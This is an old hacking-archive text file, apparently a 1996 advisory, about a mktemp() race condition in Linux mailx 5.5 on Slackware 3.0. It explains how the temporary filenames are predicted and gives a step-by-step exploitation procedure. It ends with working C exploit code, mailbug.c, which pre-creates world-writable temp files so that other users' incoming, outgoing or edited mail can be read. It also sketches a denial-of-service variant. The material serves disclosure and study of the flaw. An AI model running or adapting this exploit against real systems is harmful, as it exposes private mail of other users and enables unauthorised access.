home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / MAILX.ZIP / MAILX.TXT
Text File  |  1996-04-27  |  9KB  |  170 lines

  1. FEH
  2.              Linux 'mailx' Security Holes
  3.  
  4.  
  5.    There is a problem prevalent in the way many programs implement their
  6. usage of mktemp() in order to create temporary files in /tmp, allowing users
  7. on a machine to read and write to the contents of temporary files created. 
  8.    The basic problem is that there is a race condition that exists between
  9. the point that a program calls mktemp(), and the pathname returned by mktemp
  10. is actually created.  For some programs, the file creation is immediately
  11. or almost immediately following the mktemp(), resulting in an extremely
  12. small window of opportunity, and as a result making it very difficult to
  13. exploit.  However, there are other programs that do not immediately open
  14. the file, and in these cases it is only a matter of getting the timing
  15. right in order to exploit the hole.  
  16.    To exploit this hole, simply create the file that mktemp() returns as 
  17. a valid temporary filename after mktemp() has been called, but before the
  18. file has been opened, allowing the user running the program permissions to
  19. read and write from that temporary file.  The program will then succeed in
  20. an fopen, and will write to the file, oblivious to the fact that it didn't
  21. actually create the file, and that others can also read and write from the
  22. file.  
  23.    Note that most programs will immediately unlink() a temporary file, but
  24. that does not delete it until after it is closed.  Closing a file results in
  25. the contents of it being flushed, and so by using a 'tail -f' or a similar
  26. procedure, you can capture the contents of the file before it is removed
  27. from the filesystem.
  28.    The filename returned by mktemp() is easily determined for most unix
  29. platforms, allowing this bug to be exploited.  For the linux libc, this is
  30. to replace the X's in the template with the leftmost digit starting at 'a',
  31. and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file
  32. already exists), and then replacing the rest of the X's with the process id
  33. (0 padded).  Other operating systems use a variation of this technique,
  34. experimentation easily reveals the algorithm.
  35.    The generic procedure used to formulate an exploit for a particular program
  36. with this bug is as follows:
  37.           1. detect the execution of the program.
  38.           2. determine the temporary filename that mktemp() will return
  39.              when called by the program.
  40.           3. determine the point at which mktemp() is called by the program,
  41.              and immediately following that point, create the file, with
  42.              rw permissions for the user who is running the program.
  43.           4. read the contents of the temporary file, using a 'tail -f' or
  44.              your own routines.
  45.           5. if the sticky bet is set on /tmp, clean up your mess by rm'ing
  46.              the temp file you created, since the unlink() called by the
  47.              actual program will fail if you are the owner.
  48.  
  49.    Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers
  50. from this mktemp() problem in all temporary files it creates.  It uses 5
  51. temporary files with filenames generated during the program's initialization
  52. in a tinit() function, and then uses them as it becomes necessary during the
  53. program's execution.  The race condition begins in this tinit() function.
  54. The temporary files that can be exploited are as follows:
  55.    /tmp/ReXXXXXX
  56.        Used when a user selects 'e' from the mailx command prompt, to edit
  57.        mail.  The message the user has selected to edit is copied to the 
  58.        temporary file at this point, and then the editor is invoked on that
  59.        temp file.  The race condition ends when the user has selected 'e', 
  60.        and allows the mesage being edited to be read.
  61.    /tmp/RsXXXXXX
  62.        Used when a user sends mail, usually from the command line, such as:
  63.        'mail dave'.  The race condition ends when EOF is recieved from stdin, 
  64.        and the message is about to be sent, and allows the outgoing mail to
  65.        be read.
  66.    /tmp/RqXXXXXX
  67.        Used when mail arrives into the mail spool while mail is currently
  68.        running.  The race condition ends when the program is preparing to
  69.        shutdown, and allows the new contents of the mail spool to be read.
  70.    /tmp/RmXXXXXX
  71.        Used to prepend a message to the user's mbox file.  Prepending
  72.        requires the entire mbox contents to be read to the temporary file
  73.        and then appened to the new message(s) being added to the file.  
  74.        This is disabled by default in Slackware 3.0 in the /etc/mail.rc
  75.        by the use of the set append option.  For this to be useful, that
  76.        option needs to be removed from /etc/mail.rc, or an unset append
  77.        needs to be added to the user executing mail's .mailrc file.  The
  78.        race condition ends when the program is preparing to shutdown
  79.    /tmp/RxXXXXXX
  80.        Used to read messages from the user's mail spool.  The race condition
  81.        ends during the program's startup, when the mail spool is read, and
  82.        allows any new mail in the user's spool to be read.  Because there
  83.        is no user input between tinit() and this point, it is the only
  84.        race condition that isn't completely trivial to exploit.
  85.  
  86.    The exploit that follows demonstrates the flaws in all but the final
  87. temporary file.  To use, wait for a mail process to execute, then call the
  88. mailbug program with the process id as an argument, and finally execute a
  89. tail -f /tmp/R*, and let it run until the mail program has terminated
  90. execution.
  91.    As an aside, there are a number of programs that are vulnerable to a
  92. directed denial of service attack preventing people from using them by
  93. creation of the 62 temporary files that are attempted to be used by mktemp(),
  94. resulting in the failure of the program to run.  By continous running of a
  95. program watching for these vulnerable programs to start, they can be prevented
  96. from ever successfully executing (one such example of this is in.pop3d, which
  97. would allow a denial of service attack against a specific user from recieving
  98. mail through pop).
  99.  
  100.                    Program: mailx-5.5 (/bin/mail)
  101. Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5
  102.               Requirements: account on system, user using /bin/mail
  103.            Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)
  104.        Security Compromise: any user with an account can read incoming, edited,
  105.                             or outgoing mail if the mail is processed by mailx.
  106.                   Synopsis: The predictability of mktemp() is exploited to
  107.                             create the temporary files after the filenames
  108.                             have been determined but before they are actually
  109.                             created, allowing the mail being dumped to those
  110.                             temporary files to be read by the creator of the
  111.                             files.
  112.  
  113. mailbug.c:
  114. /* This program creates temporary files used by mailx (/bin/mail under
  115.    Slackware 3.0), which can then be read by the program.  This will
  116.    exploit 4 of the 5 temporary files, the final temporary file is a 
  117.    tighter race condition, and is not handled by this code.
  118.    Following execution of this program with the process id of mail that
  119.    is running, execute 'tail -f /tmp/R*', redirecting to a file if desired,
  120.    and allow it to run until the mail process has exited.  This can be easily
  121.    handled in a shell script, but is not included since it is not needed to
  122.    sufficiently demonstrate the security flaw. 
  123.  
  124.  */
  125.  
  126.  
  127. #include <stdio.h>
  128. #include <sys/stat.h>
  129. #include <sys/types.h>
  130. #include <fcntl.h>
  131.  
  132. void exploit_mktemp(char *dest, char *prepend, char *pid)
  133. {
  134.   int i;
  135.  
  136.   strcpy(dest,prepend);
  137.   for(i=strlen(pid);i<6;i++) 
  138.     strcat(dest,"0");
  139.   strcat(dest,pid);
  140.   dest[strlen(prepend)] = 'a';
  141. }
  142.  
  143.   
  144. main(int argc, char **argv)
  145. {
  146.   char tmpf[5][80];    /* hold filename */
  147.   
  148.   umask(0);
  149.   
  150.   if(argc<2)
  151.     {
  152.       printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
  153.       return -1;
  154.     }
  155.   
  156.   /* get mktemp filenames */
  157.   exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
  158.   exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
  159.   exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
  160.   exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);
  161.  
  162.   
  163.   /* create temporary files */
  164.   creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  165.   creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  166.   creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  167.   creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  168.   
  169. }
  170.